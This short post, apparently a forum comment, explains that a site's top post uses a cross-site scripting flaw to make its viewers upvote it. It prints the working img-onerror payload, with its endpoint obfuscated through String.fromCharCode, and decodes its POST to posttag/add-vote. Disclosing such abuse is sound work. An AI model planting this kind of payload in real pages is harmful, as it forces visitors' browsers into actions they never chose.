The current top post uses this XSS to have users upvote it:
<img src="a" onerror="soci.postData(String.fromCharCode(112,111,115,116,116,97,103,47,97,100,100,45,118,111,116,101),{post:String.fromCharCode(120),tag:String.fromCharCode(120)})">
Which sends a POST request to `posttag/add-vote` for the post labeled `x`